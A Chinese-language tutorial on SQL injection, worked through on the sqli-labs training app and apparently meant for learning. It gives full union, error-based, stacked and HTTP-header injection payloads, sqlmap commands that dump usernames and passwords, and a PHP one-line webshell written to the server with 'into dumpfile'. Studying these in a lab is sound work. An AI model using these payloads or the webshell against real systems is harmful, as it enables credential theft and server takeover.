目录
8.?id=-1' union select 1,2,3--+为什么用-1
重要函数:into dumpfile()、into outfile()、load_file()
学习参考:
SQL注入代码审计: SQL注入代码审计案例_代码审计测试案例
一、什么是SQL
1.什么是SQL
SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。
SQL 是用于访问和处理数据库的标准的计算机语言。
SQL 指结构化查询语言
SQL 使我们有能力访问数据库
SQL 是一种 ANSI 的标准计算机语言
2.SQL的作用
SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。
SQL 语句用于取回和更新数据库中的数据。
3.MySQL基础知识
MySQL默认的数据库:
sys、mysql、performance_schema、information_schema
information_schema存放着所有的数据库信息(5.0版本以上才有这个库)
这个库中的三个表:
- SCHEMATA 该表存放用户创建的所有数据库库名
- SCHEMA_NAME 字段记录数据库库名
- TABLES 该表存放用户创建的所有数据库库名和表名
- TABLE_SCHEMA 字段记录数据库名
- TABLE_NAME 字段记录表名
- COLUMNS 该表存放用户创建的所有数据库库名、表名和字段名(列名)
- TABLE_SCHEMA 字段记录数据库名
- TABLE_NAME 字段记录表名
- COLUMN_NAME 字段记录字段名
phpMyAdmin是提供 MySQL数据库管理和操作的可视化工具,方便对MySQL 数据库进行管理
4.SQL增、删、改语句
SQL 语句对大小写不敏感,SELECT 等效于 select
数据库:
创建数据库students并选择字符集
CREATE DATABASE students charset utf8;
删除数据库xxx
drop datebases xxx;
选择进入数据库xxx
use xxx;
查看数据库
show databases;
数据表:
#创建数据表student,其中包含4列id name sex aihao(要指明数据类型)
CREATE TABLE student
(
id int,
name varchar(10),
sex char(1),
aihao varchar(100)
);
#查看数据表student
SELECT * FROM student;
#删除数据表student
drop table student;
#修改数据表student名称为user
rename table student to user;
#查看数据表student中的所有列的信息
show full columns from student;
数据列:
#插入数据列和数据行
insert into student
(
id,name,sex,aihao
)
values
(
1,'LLINELL','女','play game'
);
#删除列old
alter table student drop old;
#删除行
delete from student where aihao='play game';
#增加一列内容(最大3位,最小1位)
alter table student add old decimal(3,1);
#修改所有年龄old为10
update student set old=10;
#修改id=1的行name为line,old为20
update student set name='line',old=20 where id='1';
*5.SQL查询语句
#union联合查询(并集)
select id, f1, f2 from student
union
select id, c1, c2 from teacher;
基本了解了一下SQL
二、什么是SQL注入
1.SQL注入原理:
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
2.SQL注入:
使用某些方法,在原来的SQL语句基础上,添加了一段SQL并执行。从而达到某些不被管理员允许的目的。
3.SQL注入危害:
一般使用SQL注入,能拿数据库里面的数据,进而导致数据泄露。
4.SQL注入技术分类:
联合查询注入:可以使用union注入
报错注入:页面会返回错误信息(将数据信息返回在报错中)
型布尔盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
堆查询注入:可以同时执行多条语句
5.防御方法:使用参数化查询
数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行,
而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。
6.SQL注入一般顺序
sql语法中引号是必须成对出现否则就会报错
1.查找注入点
2.判断注入类型
利用逻辑判断正误:and 1=1和and1=2
(都能正常显示界面,为字符型注入)(数字型注入只有1=1时正常显示)
3.如果字符型,找到他的闭合方式 ' " ') ")
闭合的作用:手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句。
4.判断查询列数,group by或order by
5.查询回显位
6.爆库名
7.爆表名
8.爆列名(字段名)
9.爆字段内容
判断SQL语句闭合方式原理
Mysql数据库的包容性比较强,如果输错了数据的类型,Mysql数据库会自动将其转换成正确的数据类型,比如输入1)、1" 等,只要数字后面的字符不是闭合符,数据库都会把你输入的错误的数据转换成正确的数据类型。
若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。
7.万能密码
'or 1=1 #
'先闭合前面的,or 1=1恒成立,一定是真,所以它会查询所有的账号密码,#注释后面的内容,后面的内容不会执行。
注释符号“--+’或‘#’或'%23'可以使它们后面的语句不被执行:
get请求传参时字符串中不允许出现空格和特殊字符,故注释符号可以为‘--+’‘--%20’‘%23’等,可用urlencode编码解决这个问题。
! # + ? @ : $ 空格 %21 %23 %2b %3F %40 %3A %24 %20
重要函数:group_concat()函数
group_concat(xxx):将分组中括号里对应的字符串进行连接,每个字符串之间以特定符号分隔开。
group_concat()的作用:确保所有查询信息能放到一行显示出来(下面例题中以逗号分隔开)
8.?id=-1' union select 1,2,3--+为什么用-1
页面只会读取第一行,所以让第一行不存在就会回显下一行(也可用0,负数),由此找到回显位
三、sqlmap的使用
自动选择y:--batch
四、SQL注入分类(基于sqli-labs)
1.联合查询注入
联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
sqli-labs/less-1 字符型注入
法一 手注:
页面提示
Please input the ID as parameter with numeric value
提示用户应该以数值形式输入一个ID作为参数
尝试输入?id=1,发现注入点(输入?id=2时页面不同)
逻辑?id=1 and 1=2正确,回显正常,判断为字符型注入
判断为单引号 ' 闭合(手工闭合后使用--+注释)
判断列数,确定是3列(group by不会被防火墙发现)
?id=1' order by 4--+
查询回显位,发现回显位在2,3
?id=-1' union select 1,2,3--+
爆当前数据库及版本号
?id=-1' union select 1,version(),database()--+
爆数据表名
information_schema.tables表示该数据库下的tables表,点表示下一级。
where后面是条件,group_concat()是将查询到结果连接起来
?id=0' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='security'--+
#查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
爆user表中的所有数据列名
?id=-1' union select 1,2,group_concat(column_name)
from information_schema.columns where table_name='user'--+
#查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容
爆user表中username列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
爆user表中password列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
一起爆user表中的username~password的值(使用~分隔)
?id=-1' union select 1,2,group_concat(username,'~',password) from security.users--+
法二 sqlmap
还是先找到注入点
查看所有数据库
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs
查看当前数据库 'security'
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-db
查看(-D)指定数据库security的所有表
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security --tables
查看(-T)指定表users的所有列
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users --columns
查看(-C)指定列下的数据username、password
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users -C username --dump
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users -C password --dump
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump
2.报错注入
'~' ASCII码是0x7e '^' ASCII码是0x5e
报错注入原理
由于后台没有对数据库的信息做过滤,会输出到前台显示,那么可以通过制造报错函数,将查询语句带入到数据库中,以报错信息显示出来。(页面上没有回显)
extractvalue() 、updatexml()函数
substring() 函数、limit
extractvalue() --查询节点内容
updatexml() --修改查询到的内容
sql注入中报错注入函数extractvalue和updatexml函数的原理及使用
注意:
(1)它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
插入'~'和'^'等特殊字符是非法的,就会产生报错。
(2)extractvalue() 能查询字符串的最大长度为 32,如果结果超过 32位,就要用 substring() 函数截取或 limit 分页,一次最多查看32 位。
limit 0,1:表示从第0行开始,显示1行,从0开始计数 substr((xxx),1,1):表示从第1个字母开始,显示1个字母,从1开始计数
(3)使用 concat 时,必须要把 database() 等注入语句写到不符合 xpath 的后面(例如 0x7e),因为报错时,从不符合的位置开始输出
注入过程
1、尝试用单引号报错
2、爆数据库名
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
3.爆表名
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e))--+ ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
4.爆列名
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e))--+ ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
5.获取列中的所有username、password字段内容
' and extractvalue(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e))--+ ' and updatexml(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e),1)--+
sqli-labs/less-5
法一 手注:
根据页面提示,尝试输入?id=1,发现注入点
尝试用单引号报错
爆当前数据库
?id=1' and extractvalue(1,concat(0x7e,(select database())))--+
爆数据表
提示子查询返回超过1行,利用limit 0,1逐行显示
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
发现第四张表名为users
爆表users中的数据列名 也是超过一行的
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))--+
发现username和password
爆username和password内容
#limit逐行显示
?id=1' and extractvalue(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e))--+
#substring从第一个字符往后显示30个
?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(username,'^',password),1,30) from users),0x7e))--+
法二 sqlmap
找到注入点后,过程跟union联合注入一样
爆数据库、数据表、指定表中的列、username password列中的所有内容
python sqlmap.py -u http://sqli-labs/Less-2/?id=1 --current-db --batch python sqlmap.py -u http://sqli-labs/Less-2/?id=1 -D security --tables --batch python sqlmap.py -u http://sqli-labs/Less-2/?id=1 -D security -T users --columns --batch python sqlmap.py -u http://sqli-labs/Less-2/?id=1 -D security -T users -C username,password --dump --batch
3.布尔型盲注
4.时间型盲注
时间盲注(ctfhub)_使用burpsuite进行半自动化注入-CSDN博客
以之前做过的ctfhub上面两题学习,虽然简单 但以三种方法解答详细
5.堆叠注入(stacked injection)
堆叠注入基础及实操(基于sqli-labs-less38)_sql堆叠盲注-CSDN博客
什么是堆叠注入
在SQL数据库中,每条语句是以
;
分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
与union联合查询注入对比
- union联合查询注入执行的语句类型是有限的,可以用来执行查询语句。
- 堆叠注入可以执行的是任意的语句,如增删改等。
sqli-labs/less-38
目标:
- 使用堆叠注入往第38关数据库注入新账号;
- 查询新账号是否注入成功。
根据页面提示,尝试输入?id=1,发现注入点(输入?id=2时页面不同)
逻辑?id=1 and 1=2正确,回显正常,判断为字符型注入
判断为单引号 ' 闭合(手工闭合后使用--+注释)
判断列数,确定是3列(group by不会被防火墙发现)
?id=1' order by 4--+
查询回显位,说明可以尝试union联合查询注入。
?id=-1' union select 1,2,3--+
与less-1一样,union联合注入获取库名,表名,字段名
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users--+
堆叠注入
往后台数据库增加一个账号。
#插入数据列和数据行
?id=1';insert into users(id,username,password) values ('100','LLINELL','666')--+
语句执行后回显如下
查询?id=100,回显 注入成功
使用sqlmap爆数据表中的列时,可看见列的数据类型信息,便于增加账户时确定数据类型
6.请求头注入
有关请求头注入--less18-22--7_sqli-labs less18-CSDN博客
请求方式
GET、POST、PUT、HEAD、DELETE、CONNECT、OPTIONS、TRACE等。
消息头
GET后面的/代表路径,HTTP/1.1代表HTTP的版本。
HOST表示请求的服务器网址
User-Agent表示发出请求的用户信息
Accept表示指定客户端能够接收的内容类型
Cookie 就是一段字符串,是浏览器保存服务器返回数据的方法,通常保存用户身份信息
referrer是HTTP请求header的报文头,用于指明当前流量的来源参考页面。
通过这个信息,我们可以知道访客是怎么来到当前页面的(直接输入网址或者其他页面中的链接点进来的)。
常见HTTP头注入
找到注入点后,确定是什么头注入,然后采用报错注入方式进行注入
可用Burpsuite、HackBar
(1)UA头注入(User-Agent)
注入方式(用and和or都可以)
User-Agent: ' and updatexml(1,concat('~',database()),1) and '
sqli-labs/less-18
法一 HackBar手注
尝试构造合法输入admin admin,发现服务器对user-agent进行了回显,因此该题可以尝试进行user-agent请求头注入
查看源码,发现对于输入的username和password都有进行检查,但是往下看会发现一个插入的sql语句,当输入正确的账户名和密码时,User-Agent字段内容就会出现在页面上。
可以确定user-agent注入。
尝试进行报错注入,获取当前数据库名称
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
爆所有数据库名
' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
爆数据表名
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) or '
爆users表中的username、password数据列
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '
法二 sqlmap
注意:--level 3 等级为3级以上时才能对HTTP头注入
通过具体问题尝试决定是否添加
--risk 3 --user-agent="1" --risk 3 --referer="1" --risk 3 --cookie="uname=dhakkan"
爆当前数据库,数据表,数据列
python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" --current-db --level 3 --risk 3
python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" -D security --tables --level 3 --risk 3
python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" -D security -T users --columns --level 3 --risk 3
python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" -D security -T users -C id,username,password --dump --level 3 --risk 3
(2) Referer注入
sqli-labs/less-19
注入方式:
Referer: ' and updatexml(1,concat('~',database()),1) and '
sqlmap(跟UA头类似)
python sqlmap.py -u http://sqli-labs/Less-19/ --batch --data="uname=admin&passwd=admin&submit=Submit" --current-db --level 3
(3)Cookie注入
sqli-labs/less-20
注入方式:
Cookie:user=admin ' and updatexml(1,concat('~',database()),1) and '
sqlmap
这题是post请求,所以先使用bp抓包,然后将数据包保存为.txt文件
在Cookie 处加上*代表注入点
用-r 选择目标txt文件
python sqlmap.py -r E:\date.txt --current-db --batch
python sqlmap.py -r E:\date.txt -D security --tables --batch
python sqlmap.py -r E:\date.txt -D security -T users --columns --batch
python sqlmap.py -r E:\date.txt -D security -T users -C id,username,password --dump --batch
7.sql注入写马
sqli-labs关卡7(结合文件上传漏洞+一句马+菜刀)通关思路
前提知识:
文件上传漏洞:
文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件。如果恶意用户上传了可执行的文件或者脚本,就可以利用上传的恶意文件控制整个网站,这个恶意文件被称为 WebShell ,也可称为一种网页后门。
一句话木马
<?php eval(@$_POST['a']); ?>
eval是执行命令的函数
$_POST['a']是接收的数据。
eval函数把接收的数据当作PHP代码来执行。这样就能让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。
重要函数:into dumpfile()、into outfile()、load_file()
https://www.cnblogs.com/7-58/p/14101610.html
注入过程:
- 1.找到注入点
- 2.判断查询列数
- 3.查询回显位
- 4.找绝对路径
- 5.用into outfile函数写入一句话木马
- 6.蚁剑连接
sqli-labs/less-2
找到注入点,逻辑?id=1 and 1=2错误,判断为数字型注入
判断列数,确定是3列
?id=1 order by 4--+
查询回显位
?id=-1 union select 1,2,3--+
找绝对路径 D:\phpstudy_pro\Extensions\MySQL5.7.26\data\
@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径。
?id=-1 union select 1,2,@@datadir--+
用into outfile函数(或into dumpfile函数)写入一句话木马(基于UNION联合查询)
注入语句:
#把一句话木马shell.php写到服务器绝对路径中。(此处我知道less-2的路径就写在里面了)
#两个\\防转义
http://sqli-labs/Less-2/?id=1 union select 1,2,"<?php eval($_REQUEST[1]); ?>" into dumpfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-2\\shell.php" --+
报错了
解决bug:the --secure-file-priv option so it cannot execute this statement
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
--secure-file-priv
选项用于限制MySQL的文件导入导出操作到特定目录。当该选项被设置时,只有在这个目录下的文件才能被操作。因此需要配置环境:在mysql.ini配置文件中设置这个参数,值为空
点击另存为窗口,编码选择ANSI,保存。 重启服务器以生效。
注入成功:
测试注入:
http://sqli-labs/Less-2/shell.php?1=phpinfo();
也可用蚁剑连接测试:
成功进入后门
五、 SQL注入防御
大佬博客~
防止SQL注入攻击的10种有效方法_sql注入防范措施-CSDN博客
六、SQL注入常见绕过方式
大佬博客~